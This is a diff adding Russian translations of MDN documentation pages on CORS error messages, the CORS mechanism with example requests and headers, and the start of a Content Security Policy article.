+ + diff --git a/files/ru/web/http/cors/errors/corsdidnotsucceed/index.html b/files/ru/web/http/cors/errors/corsdidnotsucceed/index.html new file mode 100644 index 0000000000..a9a5569ce3 --- /dev/null +++ b/files/ru/web/http/cors/errors/corsdidnotsucceed/index.html @@ -0,0 +1,28 @@ +--- +title: 'Причина: Не удалось выполнить запрос CORS' +slug: Web/HTTP/CORS/Errors/CORSDidNotSucceed +tags: + - CORS + - CORSDidNotSucceed + - HTTP + - HTTPS + - консоль + - причины +translation_of: Web/HTTP/CORS/Errors/CORSDidNotSucceed +--- +

Причина

+ +
Причина: Не удалось выполнить запрос CORS
+
+ +

Что произошло?

+ +

Запрос {{Glossary("HTTP")}}, использующий {{Glossary("CORS")}} не был выполнен, потому что подключение через HTTP не было выполнено либо на сетевом уровне или на уровне протокола. Ошибка не имеет прямого отношения к CORS, но все равно считается как фундаментальная.

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/cors/errors/corsdisabled/index.html b/files/ru/web/http/cors/errors/corsdisabled/index.html new file mode 100644 index 0000000000..c4f75914b1 --- /dev/null +++ b/files/ru/web/http/cors/errors/corsdisabled/index.html @@ -0,0 +1,24 @@ +--- +title: 'Ошибка: CORS disabled' +slug: Web/HTTP/CORS/Errors/CORSDisabled +translation_of: Web/HTTP/CORS/Errors/CORSDisabled +--- +
 
+ +

Ошибка

+ +
Ошибка: CORS disabled
+ +

Что случилось?

+ +

При запросе с использованием {{Glossary("CORS")}}, последний был отключен в браузере пользователя. Чтобы использовать CORS, его необходимо включить.

+ +

В браузере Firefox, настройка которая отключает CORS - content.cors.disable. Устанавливая данное значение в true вы отключаете CORS, поэтому каждый раз при использовании CORS запрос будет отклонен с ошибкой.

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/cors/errors/corsmissingalloworigin/index.html b/files/ru/web/http/cors/errors/corsmissingalloworigin/index.html new file mode 100644 index 0000000000..56875e1603 --- /dev/null +++ b/files/ru/web/http/cors/errors/corsmissingalloworigin/index.html @@ -0,0 +1,58 @@ +--- +title: 'Причина: отсутствует заголовок CORS «Access-Control-Allow-Origin»' +slug: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin +translation_of: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin +--- +

Причина

+ +
Причина: отсутствует заголовок CORS «Access-Control-Allow-Origin»
+ +

Почему это произошло?

+ +

В ответе на {{Glossary("CORS")}}-запрос отсутствует заголовок {{HTTPHeader("Access-Control-Allow-Origin")}}, используемый для проверки, может ли ресурс быть доступен для контента на текущем домене.

+ +

Если у вас есть доступ к серверу, то добавьте домен запрашивающего сайта в список разрешенных доменов, добавив его в значение заголовка Access-Control-Allow-Origin.

+ +

Например, для предоставления сайту https://amazing.site доступа к ресурсам с использованием CORS, заголовок должен выглядеть так:

+ +
Access-Control-Allow-Origin: https://amazing.site
+ +

Также вы можете разрешить доступ любому сайту, используя подстановку *. Используйте этот способ только для публичных API. В закрытых API * не должна использоваться, вместо этого должен быть установлен определенный домен или домены. При этом подстановка работает только для запросов с атрибутом {{htmlattrxref("crossorigin")}} со значением anonymous.

+ +
Access-Control-Allow-Origin: *
+ +
+

Внимание: Использование * для доступа к закрытым API — плохая идея по очевидным причинам.

+
+ +

Чтобы разрешить любому сайту делать CORS-запросы без использования подстановки * (например, для включения авторизационных данных), ваш сервер должен считывать значение заголовка Origin из запроса и использовать это значение, чтобы задать Access-Control-Allow-Origin, а также выставить заголовок Vary: Origin, чтобы обозначить динамическую установку заголовка в зависимости от источника.

+ +

Конкретная директива для установки заголовков зависит от вашего сервера. Так в Apache нужно добавить следующую строку в конфигурацию сервера (в соответствующих разделах <Directory>, <Location>, <Files> или <VirtualHost>). Конфигурация обычно находится в файле с расширением .conf (стандартные названия: httpd.conf, apache.conf), либо в файле .htaccess.

+ +
Header set Access-Control-Allow-Origin 'origin-list'
+ +

В Nginx для установки этого заголовка используется команда:

+ +
add_header 'Access-Control-Allow-Origin' 'origin-list'
+ +

Смотри также

+ + + +
+
+
+ +
+
+

+ +

+
+
+
+
diff --git a/files/ru/web/http/cors/errors/index.html b/files/ru/web/http/cors/errors/index.html new file mode 100644 index 0000000000..d1dd12dc75 --- /dev/null +++ b/files/ru/web/http/cors/errors/index.html @@ -0,0 +1,76 @@ +--- +title: CORS errors +slug: Web/HTTP/CORS/Errors +tags: + - CORS + - Errors + - HTTP + - HTTPS + - Messages + - NeedsTranslation + - Same-origin + - Security + - TopicStub + - console + - troubleshooting +translation_of: Web/HTTP/CORS/Errors +--- +
{{HTTPSidebar}}
+ +

Cross-Origin Resource Sharing ({{Glossary("CORS")}}) is a standard that allows a server to relax the same-origin policy. This is used to explicitly allow some cross-origin requests while rejecting others. For example, if a site offers an embeddable service, it may be necessary to relax certain restrictions. Setting up such a CORS configuration isn't necessarily easy and may present some challenges. In these pages, we'll look into some common CORS error messages and how to resolve them.

+ +

If the CORS configuration isn't setup correctly, the browser console will present an error like "Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite" indicating that the request was blocked due to violating the CORS security rules. This might not necessarily be a set-up mistake, though. It's possible that the request is in fact intentionally being disallowed by the user's web application and remote external service. However, If the endpoint is meant to be available, some debugging is needed to succeed.

+ +

Identifying the issue

+ +

To understand the underlying issue with the CORS configuration, you need to find out which request is at fault and why. These steps may help you do so:

+ +
    +
  1. Navigate to the web site or web app in question and open the Developer Tools.
    2. +
  2. Now try to reproduce the failing transaction and check the console if you are seeing a CORS violation error message. It will probably look like this:
    3. +
+ +

Firefox console showing CORS error

+ +

The text of the error message will be something similar to the following:

+ +
Cross-Origin Request Blocked: The Same Origin Policy disallows
+reading the remote resource at https://some-url-here. (Reason:
+additional information here).
+ +
+

Note: For security reasons, specifics about what went wrong with a CORS request are not available to JavaScript code. All the code knows is that an error occurred. The only way to determine what specifically went wrong is to look at the browser's console for details.

+
+ +

CORS error messages

+ +

Firefox's console displays messages in its console when requests fail due to CORS. Part of the error text is a "reason" message that provides added insight into what went wrong.  The reason messages are listed below; click the message to open an article explaining the error in more detail and offering possible solutions.

+ + + +

See also

+ + diff --git a/files/ru/web/http/cors/index.html b/files/ru/web/http/cors/index.html new file mode 100644 index 0000000000..ee6cfda506 --- /dev/null +++ b/files/ru/web/http/cors/index.html @@ -0,0 +1,542 @@ +--- +title: Cross-Origin Resource Sharing (CORS) +slug: Web/HTTP/CORS +translation_of: Web/HTTP/CORS +--- +
{{HTTPSidebar}}
+ +

Cross-Origin Resource Sharing ({{Glossary("CORS")}}) — механизм, использующий дополнительные {{Glossary("HTTP")}}-заголовки, чтобы дать возможность {{Glossary("user agent","агенту пользователя")}} получать разрешения на доступ к выбранным ресурсам с сервера на источнике (домене), отличном от того, что сайт использует в данный момент. Говорят, что агент пользователя делает запрос с другого источника (cross-origin HTTP request), если источник текущего документа отличается от запрашиваемого ресурса доменом, протоколом или портом.

+ +

Пример cross-origin запроса: HTML страница, обслуживаемая сервером с http://domain-a.com, запрашивает <img> src по адресу http://domain-b.com/image.jpg. Сегодня многие страницы загружают ресурсы вроде CSS-стилей, изображений и скриптов с разных доменов, соответствующих разным сетям доставки контента (Content delivery networks, CDNs).

+ +

В целях безопасности браузеры ограничивают cross-origin запросы, инициируемые скриптами. Например, {{domxref("XMLHttpRequest")}} и Fetch API следуют политике одного источника (same-origin policy). Это значит, что web-приложения, использующие такие API, могут запрашивать HTTP-ресурсы только с того домена, с которого были загружены, пока не будут использованы CORS-заголовки.

+ +

+ +

Механизм CORS поддерживает кросс-доменные запросы и передачу данных между браузером и web-серверами по защищенному соединению. Современные браузеры используют CORS в API-контейнерах, таких как {{domxref("XMLHttpRequest")}} или Fetch, чтобы снизить риски, присущие запросам с других источников.

+ +

Кто должен читать данную статью?

+ +

На самом деле, все.

+ +

Конкретнее, эта статья для web-администраторов, разработчиков серверной стороны и front-end разработчиков. Современные браузеры поддерживают клиентские компоненты cross-origin обмена, включая заголовки и соблюдение правил политики. Но этот новый стандарт означает, что сервера также должны поддерживать новые заголовки запросов и ответов. Другая статья для разработчиков серверной части, описывающая перспективы сross-origin обмена на стороне сервера (с примерами кода на PHP), к дополнительному прочтению.

+ +

Какие запросы используют CORS?

+ +

Этот cтандарт сross-origin обмена используется для разрешения кросс-сайтовых HTTP запросов для:

+ + + +

Эта статья описывает общие понятия Cross-Origin Resource Sharing и включает обсуждение необходимых HTTP заголовков.

+ +

Обзор функциональности

+ +

Стандарт Cross-Origin Resource Sharing работает с помощью добавления новых HTTP-заголовков, которые позволяют серверам описывать набор источников, которым разрешено читать информацию, запрашиваемую web-браузером. В частности, для методов HTTP-запросов, которые могут привести к побочным эффектам над данными сервера (в частности, для HTTP методов, отличных от {{HTTPMethod("GET")}} или для {{HTTPMethod("POST")}} запросов, использующих определнные MIME-типы), спецификация требует, чтобы браузеры "предпроверяли" запрос, запрашивая поддерживающие методы с сервера с помощью метода HTTP-запроса {{HTTPMethod("OPTIONS")}} и затем, поверх "подтверждения" с сервера, отсылали фактический запрос с фактическим методом HTTP-запроса. Сервера также могут оповещать клиентов должны ли "полномочия" (включая Cookies и HTTP Authentication данные) быть отправлены с запросом.

+ +

Следующая секция описывает сценарии, а также предоставляет анализ использования HTTP-заголовков. 

+ +

Примеры сценариев управления доступом

+ +

Здесь мы рассмотрим три сценария, которые иллюстрируют как Cross-Origin Resource Sharing работает. Каждый сценарий использует объект {{domxref("XMLHttpRequest")}}, который может быть использован для межсайтового взаимодействия, в любом, поддерживающем данный объект, браузере.

+ +

Фрагменты JavaScript кода, включенные в эти секции (а также фрагменты кода, отвечающие за корректную обработку межсерверных запросов, которые запускаются на сервере) могут быть испытаны "в действии" на http://arunranga.com/examples/access-control/, и будут работать в браузерах, которые поддерживают {{domxref("XMLHttpRequest")}}.

+ +

Обсуждение Cross-Origin Resource Sharing с точки зрения сервера (включая фрагменты кода на PHP) может быть найдено в статье Server-Side Access Control (CORS).

+ +

Простые запросы

+ +

Некоторые запросы не заставляют срабатывать CORS preflight. Они называются “простыми запросами” в данной статье, хотя {{SpecName('Fetch')}} спецификация, определяющая CORS, не использует этот термин. Запрос, для которого не срабатывает CORS preflight— так называемый “простой запросы”—это запрос, удовлетворяющий следующим условиям:

+ + + +
Замечание: These are the same kinds of cross-site requests that web content can already issue, and no response data is released to the requester unless the server sends an appropriate header. Therefore, sites that prevent cross-site request forgery have nothing new to fear from HTTP access control.
+ +
Замечание: WebKit Nightly и Safari Technology Preview устанавливают дополнительные ограничения на значения, допустимые в заголовках {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, и {{HTTPHeader("Content-Language")}}. Если любой из этих заголовков имеет "нестандартное" значение, WebKit/Safari используют предварительный запрос. Значения, которые WebKit/Safari считают "нестандартными" для этих заголовков, перечислены только в следующих проблемах WebKit: Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language, Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS, и Switch to a blacklist model for restricted Accept headers in simple CORS requests. Во всех других браузерах подобных дополнительных ограничений нет, потому что они не являются частью спецификации.
+ +

Например, представьте, что содержимое домена http://foo.example хочет обратиться к содержимому http://bar.other. На домене foo.example может использоваться следующий Javascript код:

+ +
var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/public-data/';
+
+function callOtherDomain() {
+  if(invocation) {
+    invocation.open('GET', url, true);
+    invocation.onreadystatechange = handler;
+    invocation.send();
+  }
+}
+
+ +

Это приведет к простому обмену запросами между клиентом и сервером, используя CORS заголовки для обработки привилегий:

+ +

+ +

Посмотрим, что браузер отправит в таком случае на сервер, а также проверим ответ сервера:

+ +
GET /resources/public-data/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Referer: http://foo.example/examples/access-control/simpleXSInvocation.html
+Origin: http://foo.example
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 00:23:53 GMT
+Server: Apache/2.0.61
+Access-Control-Allow-Origin: *
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Transfer-Encoding: chunked
+Content-Type: application/xml
+
+[XML Data]
+
+ +

Строчки 1 - 10 это заголовки отправленного запроса. Самим интересующим здесь для нас заголовком является {{HTTPHeader("Origin")}}, указанный на 10 строке. Данный заголовок указывает, что запрос пришел из содержимого домена http://foo.example.

+ +

Строчки 13 - 22 показывают HTTP-ответ от сервера на домен http://bar.other. В ответ сервер возвращает {{HTTPHeader("Access-Control-Allow-Origin")}} заголовок, указанный на 16 строке. Использование заголовков {{HTTPHeader("Origin")}} header и {{HTTPHeader("Access-Control-Allow-Origin")}} показывает протокол контроля доступа в простейшем виде. В этом случае, сервер отвечает с Access-Control-Allow-Origin: * что означает, что к ресурсу может получить доступ с любого домена кросс-сайтовым способом. Если владелец ресурса http://bar.other пожелал ограничить доступ к ресурсу для запросов только с http://foo.example, они отправят обратно:

+ +

Access-Control-Allow-Origin: http://foo.example

+ +

Отметьте, никакой домен, кроме http://foo.example (определен ORIGIN: заголовок в запросе, как в 10 строке выше), не может получить доступ к ресурсу кросс-сайтовым способом. Заголовок Access-Control-Allow-Origin должен содержать значение, которое было отправлено в заголовке Origin запроса. 

+ +

Предварительные запросы

+ +

В отличии от “простых запросов” (обсуждено выше), "предварительные" запросы сначала отправляют HTTP-запрос методом {{HTTPMethod("OPTIONS")}} к ресурсу на другом домене, чтобы определить, является ли фактический запрос безопасным для отправки. Кросс-сайтовые запросы предварительно просматриваются таким образом, так как они могут быть причастны к пользовательским данным.

+ +

В частности, запрос предварительно просматривается, если выполняется любое из следующих условий:

+ + + +

Ниже приведен пример запроса, который будет предварительно просмотрен.

+ +
var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/post-here/';
+var body = '<?xml version="1.0"?><person><name>Arun</name></person>';
+
+function callOtherDomain(){
+  if(invocation)
+    {
+      invocation.open('POST', url, true);
+      invocation.setRequestHeader('X-PINGOTHER', 'pingpong');
+      invocation.setRequestHeader('Content-Type', 'application/xml');
+      invocation.onreadystatechange = handler;
+      invocation.send(body);
+    }
+}
+
+......
+
+ +

В примере выше, 3 строка создает XML тело, чтобы отправить POST запросом на строке 8. Также, на строке 9, "кастомизированный" (не стандартный) заголовок HTTP запроса установлен (X-PINGOTHER: pingpong). Такие заголовки не являются частью протокола HTTP/1.1, но, как правило, полезны для веб-приложений. Так как запрос использует Content-Type  application/xml, и так как установлен кастомизированный заголовок, этот запрос просматривается.

+ +

+ +
+

Замечнаие: как описано ниже, фактический POST запрос не включает Access-Control-Request-*  заголовки; они нужны только для OPTIONS запроса.

+
+ +

Давайте посмотрим на полный обмен между клиентом и сервером. Первый обмен - это предварительный запрос/ответ:

+ +
OPTIONS /resources/post-here/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Origin: http://foo.example
+Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:39 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET, OPTIONS
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 0
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain
+
+ +

Как только предварительный запрос завершен, отправляется настоящий запрос:

+ +
POST /resources/post-here/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+X-PINGOTHER: pingpong
+Content-Type: text/xml; charset=UTF-8
+Referer: http://foo.example/examples/preflightInvocation.html
+Content-Length: 55
+Origin: http://foo.example
+Pragma: no-cache
+Cache-Control: no-cache
+
+<?xml version="1.0"?><person><name>Arun</name></person>
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:40 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://foo.example
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 235
+Keep-Alive: timeout=2, max=99
+Connection: Keep-Alive
+Content-Type: text/plain
+
+[Some GZIP'd payload]
+
+ +

Строки 1 - 12 выше представляют предварительный запрос с {{HTTPMethod("OPTIONS")}} методом. Браузер определяет, что ему нужно отправить это, основываясь на параметрах запроса, которые использовались во фрагменте кода JavaScript выше, чтобы сервер мог ответить, допустимо ли отправить запрос с фактическими параметрами запроса. OPTIONS - это метод HTTP/1.1, который используется для определения дополнительной информации от серверов, и является {{Glossary("safe")}} методом, что означает, что его нельзя использовать для изменения ресурса. Обратите внимание, что вместе с запросом OPTIONS отправляются два других заголовка запроса (строки 10 и 11 соответственно):

+ +
Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type
+
+ +

Заголовок {{HTTPHeader ("Access-Control-Request-Method")}} уведомляет сервер как часть предварительного запроса о том, что при отправке фактического запроса он будет отправлен методом запроса POST. Заголовок {{HTTPHeader ("Access-Control-Request-Headers")}} уведомляет сервер о том, что при отправке фактического запроса он будет отправлен с пользовательскими заголовками X-PINGOTHER и Content-Type. Теперь у сервера есть возможность определить, хочет ли он принять запрос в этих обстоятельствах.

+ +

Строки 14 - 26 выше - это ответ, который сервер отправляет обратно, указывая, что метод запроса (POST) и заголовки запроса (X-PINGOTHER) являются приемлемыми. В частности, давайте посмотрим на строки 17-20:

+ +
Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET, OPTIONS
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400
+ +

Сервер отвечает с Access-Control-Allow-Methods и сообщает, что POST, GET, и OPTIONS являются жизнеспособными методами для запроса соответствующего ресурса. Обратите внимание, что этот заголовок похож на заголовок ответа {{HTTPHeader("Allow")}}, но используется строго в контексте контроля доступа.

+ +

Сервер также отправляет Access-Control-Allow-Headers со значением "X-PINGOTHER, Content-Type", подтверждая, что это разрешенные заголовки, которые будут использоваться с фактическим запросом. Как и Access-Control-Allow-Methods, Access-Control-Allow-Headers представляет собой список допустимых заголовков через запятую.

+ +

Наконец, {{HTTPHeader("Access-Control-Max-Age")}} дает значение в секундах, в течение которого можно кэшировать ответ на предварительный запрос без отправки другого предварительного запроса. В этом случае, 86400 секунды - это 24 часа. Обратите внимание, что каждый браузер имеет максимальное внутреннее значение, которое имеет приоритет, когда Access-Control-Max-Age больше.

+ +

Предварительные запросы и  переадресации

+ +

Большинство браузеров в настоящее время не поддерживают следующие переадресации для предварительных запросов. Если переадресация происходит для предварительного запроса, большинство современных браузеров сообщат об ошибке, такой как следующее.

+ +
+

Запрос был перенаправлен на 'https://example.com/foo', который запрещен для запросов из разных источников, требующих предварительной проверки

+
+ +
+

Запрос требует предварительной проверки, которая запрещена для перенаправления между источниками

+
+ +

Протокол CORS изначально требовал такого поведения, но впоследствии был изменен, чтобы больше не требовать его. Однако большинство браузеров еще не реализовали это изменение и все еще демонстрируют поведение, которое требовалось изначально.

+ +

Поэтому, пока браузеры не догонят спецификацию, вы можете обойти это ограничение, выполнив одно или оба из следующих действий:

+ + + +

Но если невозможно внести эти изменения, то возможен другой способ:

+ +
    +
  1. Сделайте простой запрос для определения (используя Response.url для Fetch API, или XHR.responseURL, чтобы определить, на каком URL завершится настоящий предварительный запрос).
    2. +
  2. Сделайте другой запрос (“настоящий” запрос), используя URL адрес, полученный вами из Response.url или XMLHttpRequest.responseURL на первом этапе.
    3. +
+ +

Однако, если запрос инициирует предварительную проверку из-за наличия в запросе заголовка `Authorization`, вы не сможете обойти ограничение, используя описанные выше шаги. И вы вообще не сможете обойти это, если у вас нет контроля над сервером, на который делается запрос.

+ +

Запросы с учетными данными

+ +

Наиболее интересная возможность, предоставляемая как {{domxref("XMLHttpRequest")}}, так и Fetch и CORS - это возможность делать "проверенные" запросы, которые осведомленны о файлах HTTP cookie и информации HTTP аутентификаци. По умолчанию, в кросс-сайтовых {{domxref("XMLHttpRequest")}} или Fetch вызовах, браузеры не отправляют учетные данные. Конкретный флаг должен быть установлен для объекта {{domxref("XMLHttpRequest")}} или конструктора {{domxref("Request")}} при его вызове.

+ +

В этом примере контент, изначально загруженный из http://foo.example, выполняет простой GET запрос к ресурсу  http://bar.other, который устанавливает файлы сookie. Содержимое на foo.example может содержать такой JavaScript:

+ +
var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/credentialed-content/';
+
+function callOtherDomain(){
+  if(invocation) {
+    invocation.open('GET', url, true);
+    invocation.withCredentials = true;
+    invocation.onreadystatechange = handler;
+    invocation.send();
+  }
+}
+ +

В строке 7 показан флаг {{domxref("XMLHttpRequest")}}, который должен быть установлен для выполнения вызова с помощью файлов cookie, а именно логическое значение withCredentials. По умолчанию вызов выполняется без файлов cookie. Поскольку это простой запрос GET, он не является предварительным, но браузер отклоняет любой ответ, который не имеет заголовка {{HTTPHeader("Access-Control-Allow-Credentials")}}: true, и не создает ответ, доступный для вызова веб-контента.

+ +

+ +

Вот пример обмена между клентом и сервером:

+ +
GET /resources/access-control-with-credentials/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Referer: http://foo.example/examples/credential.html
+Origin: http://foo.example
+Cookie: pageAccess=2
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:34:52 GMT
+Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2
+X-Powered-By: PHP/5.2.6
+Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Credentials: true
+Cache-Control: no-cache
+Pragma: no-cache
+Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 106
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain
+
+
+[text/plain payload]
+
+ +

Также в строке 11 содержится Cookie, предназначенный для контента ресурса http://bar.other. В случае если http://bar.other не ответит полем  {{HTTPHeader("Access-Control-Allow-Credentials")}}: true (строка 19), то ответ от сервера  будет проигнорирован и не станет доступным для веб-контента.

+ +

Запросы с учетными данными и wildcards

+ +

В процессе ответа на запрос с учетными данными сервер обязан указать точный источник в поле заголовка Access-Control-Allow-Origin вместо спецсимвола "*".

+ +

Из-за того что заголовки запроса в примере выше включают заголовок Cookie, запрос  провалился бы, если бы значение заголовка Control-Allow-Origin было "*". Но он не провалился: потому что значение заголовка Access-Control-Allow-Origin  - "http://foo.example" (действительный источник), а не спецсимвол "*", контент, удостоверяющий полномочия, возвращается в вызывающий веб-контент.

+ +

Отметьте, что заголовок ответа Set-Cookie в примере выше также устанавливает дополнительные куки. В случае неудачи, возникает исключение, в зависимости от используемого API.

+ +

Заголовки HTTP ответов

+ +

Эта секция содержит список заголовков HTTP ответов, которые сервер шлет в ответ на запрос доступа, как описано в спецификации совместного использования ресурсов между разными источниками. В предыдущей секции это описано в действии.

+ +

Access-Control-Allow-Origin

+ +

Возвращаемый ресурс может иметь один заголовок {{HTTPHeader("Access-Control-Allow-Origin")}}, синтаксис которого:

+ +
Access-Control-Allow-Origin: <origin> | *
+
+ +

Access-Control-Allow-Origin определяет либо один источник, что указывает браузеру разрешить этому источнику доступ к ресурсу; либо — для запросов без учетных данных — значение "*", которое говорит браузеру разрешить запросы из любых источников.

+ +

Например, чтобы разрешить http://mozilla.org доступ к ресурсу, можно указать:

+ +
Access-Control-Allow-Origin: http://mozilla.org
+ +

Если сервер возвращает название хоста, вместо "*", также может быть указан заголовок Vary со значением Origin, чтобы показать клиентам, что ответы с сервера будут отличаться в зависимости от значения заголовка запроса Origin.

+ +

Access-Control-Expose-Headers

+ +

The {{HTTPHeader("Access-Control-Expose-Headers")}} header lets a server whitelist headers that browsers are allowed to access. For example:

+ +
Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header
+
+ +

This allows the X-My-Custom-Header and X-Another-Custom-Header headers to be exposed to the browser.

+ +

Access-Control-Max-Age

+ +

The  {{HTTPHeader("Access-Control-Max-Age")}} header indicates how long the results of a preflight request can be cached. For an example of a preflight request, see the above examples.

+ +
Access-Control-Max-Age: <delta-seconds>
+
+ +

The delta-seconds parameter indicates the number of seconds the results can be cached.

+ +

Access-Control-Allow-Credentials

+ +

The {{HTTPHeader("Access-Control-Allow-Credentials")}} header Indicates whether or not the response to the request can be exposed when the credentials flag is true.  When used as part of a response to a preflight request, this indicates whether or not the actual request can be made using credentials. Note that simple GET requests are not preflighted, and so if a request is made for a resource with credentials, if this header is not returned with the resource, the response is ignored by the browser and not returned to web content.

+ +
Access-Control-Allow-Credentials: true
+
+ +

Credentialed requests are discussed above.

+ +

Access-Control-Allow-Methods

+ +

The {{HTTPHeader("Access-Control-Allow-Methods")}} header specifies the method or methods allowed when accessing the resource. This is used in response to a preflight request. The conditions under which a request is preflighted are discussed above.

+ +
Access-Control-Allow-Methods: <method>[, <method>]*
+
+ +

An example of a preflight request is given above, including an example which sends this header to the browser.

+ +

Access-Control-Allow-Headers

+ +

The {{HTTPHeader("Access-Control-Allow-Headers")}} header is used in response to a preflight request to indicate which HTTP headers can be used when making the actual request.

+ +
Access-Control-Allow-Headers: <field-name>[, <field-name>]*
+
+ +

The HTTP request headers

+ +

This section lists headers that clients may use when issuing HTTP requests in order to make use of the cross-origin sharing feature. Note that these headers are set for you when making invocations to servers. Developers using cross-site {{domxref("XMLHttpRequest")}} capability do not have to set any cross-origin sharing request headers programmatically.

+ +

Origin

+ +

The {{HTTPHeader("Origin")}} header indicates the origin of the cross-site access request or preflight request.

+ +
Origin: <origin>
+
+ +

The origin is a URI indicating the server from which the request initiated.  It does not include any path information, but only the server name.

+ +
Note: The origin can be the empty string; this is useful, for example, if the source is a data URL.
+ +

Note that in any access control request, the {{HTTPHeader("Origin")}} header is always sent.

+ +

Access-Control-Request-Method

+ +

The {{HTTPHeader("Access-Control-Request-Method")}} is used when issuing a preflight request to let the server know what HTTP method will be used when the actual request is made.

+ +
Access-Control-Request-Method: <method>
+
+ +

Examples of this usage can be found above.

+ +

Access-Control-Request-Headers

+ +

The {{HTTPHeader("Access-Control-Request-Headers")}} header is used when issuing a preflight request to let the server know what HTTP headers will be used when the actual request is made.

+ +
Access-Control-Request-Headers: <field-name>[, <field-name>]*
+
+ +

Examples of this usage can be found above.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch', '#cors-protocol', 'CORS')}}{{Spec2('Fetch')}}New definition; supplants W3C CORS specification.
+ +

Browser compatibility

+ + + +

{{Compat("http.headers.Access-Control-Allow-Origin")}}

+ +

Compatibility notes

+ + + +

See also

+ + diff --git a/files/ru/web/http/csp/index.html b/files/ru/web/http/csp/index.html new file mode 100644 index 0000000000..b0d13ff4fc --- /dev/null +++ b/files/ru/web/http/csp/index.html @@ -0,0 +1,193 @@ +--- +title: Content Security Policy (CSP) +slug: Web/HTTP/CSP +tags: + - Безопасность + - Справка +translation_of: Web/HTTP/CSP +--- +
{{HTTPSidebar}}
+ +

Content Security Policy ({{Glossary("CSP")}}) - это дополнительный уровень безопасности, позволяющий распознавать и устранять определенные типы атак, таких как Cross Site Scripting ({{Glossary("XSS")}}) и атаки внедрения данных. Спектр применения этих атак включает, но не ограничивается кражей данных, подменой страниц и распространением зловредного ПО.

+ +

CSP разрабатывался с возможностью полной обратной совместимости (за исключением CSP version 2, в которой были намеренно определены некоторые противоречия блокирующие обратную совместимость; с деталями можно ознакомиться здесь, в пункте 1.1). Браузеры, которые не поддерживают CSP, все еще могут работать с серверами, которые поддерживают CSP, и наоборот: браузеры, в которых поддержка CSP отсутствует, будут ее игнорировать, продолжая работу в соответствии со стандартными правилами ограничения домена для загрузки контента. В случае, если сайт не предоставляет CSP-заголовки, браузеры, в свою очередь, будут использовать стандартные правила ограничения домена.

+ +

Для того чтобы включить CSP, необходимо настроить сервер так, чтобы в ответах он использовал HTTP-заголовок {{HTTPHeader("Content-Security-Policy")}} (в различных примерах и документации можно встретить вариант заголовка X-Content-Security-Policy. Он является устаревшим и определять его не нужно).

+ +

